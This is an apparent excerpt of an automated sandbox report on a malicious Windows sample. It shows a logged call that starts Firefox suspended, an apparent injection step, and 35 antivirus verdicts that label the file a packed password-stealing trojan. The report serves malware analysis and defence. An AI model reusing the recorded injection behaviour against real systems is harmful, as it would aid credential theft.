CreateProcessInternalW Sept. 21, 2023, 9:35 a.m.	thread_identifier: 2968 thread_handle: 0x0000031c process_identifier: 2964 current_directory: filepath: C:\Program Files\Mozilla Firefox\firefox.exe track: 1 command_line: filepath_r: C:\Program Files\Mozilla Firefox\Firefox.exe stack_pivoted: 0 creation_flags: 12 (CREATE_SUSPENDED\|DETACHED_PROCESS) inherit_handles: 0 process_handle: 0x00000348	1	1

File has been identified by 35 AntiVirus engines on VirusTotal as malicious (35 events)

Elastic	malicious (high confidence)
MicroWorld-eScan	Gen:Variant.Ser.Lazy.5166
FireEye	Gen:Variant.Ser.Lazy.5166
Malwarebytes	Trojan.MalPack.PNG
K7AntiVirus	Trojan ( 005a74e81 )
BitDefender	Gen:Variant.Ser.Lazy.5166
K7GW	Trojan ( 005a74e81 )
VirIT	Trojan.Win32.MSIL_Heur.A
Cyren	W32/MSIL_Agent.FPI.gen!Eldorado
Symantec	Scr.Malcode!gdn34
ESET-NOD32	a variant of MSIL/Kryptik.AJRP
APEX	Malicious
Cynet	Malicious (score: 100)
Kaspersky	HEUR:Trojan-Spy.MSIL.Noon.gen
Avast	Win32:PWSX-gen [Trj]
Rising	Malware.Obfus/MSIL@AI.97 (RDM.MSIL2:Mvi0wdGO4Yt8JscU+pxzuw)
Emsisoft	Gen:Variant.Ser.Lazy.5166 (B)
DrWeb	Trojan.PackedNET.2374
McAfee-GW-Edition	BehavesLike.Win32.Generic.bc
Sophos	Troj/Krypt-ABH
SentinelOne	Static AI - Malicious PE
MAX	malware (ai score=81)
Microsoft	Trojan:Win32/Wacatac.B!ml
Arcabit	Trojan.Ser.Lazy.D142E
ZoneAlarm	HEUR:Trojan-Spy.MSIL.Noon.gen
GData	Gen:Variant.Ser.Lazy.5166
Google	Detected
AhnLab-V3	Trojan/Win.PWSX-gen.C5490353
McAfee	Artemis!D54DDEB1CEAA
Cylance	unsafe
Ikarus	Trojan.MSIL.Inject
Fortinet	MSIL/Kryptik.AGUH!tr
AVG	Win32:PWSX-gen [Trj]
DeepInstinct	MALICIOUS
CrowdStrike	win/malicious_confidence_90% (D)

wininit.exe

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All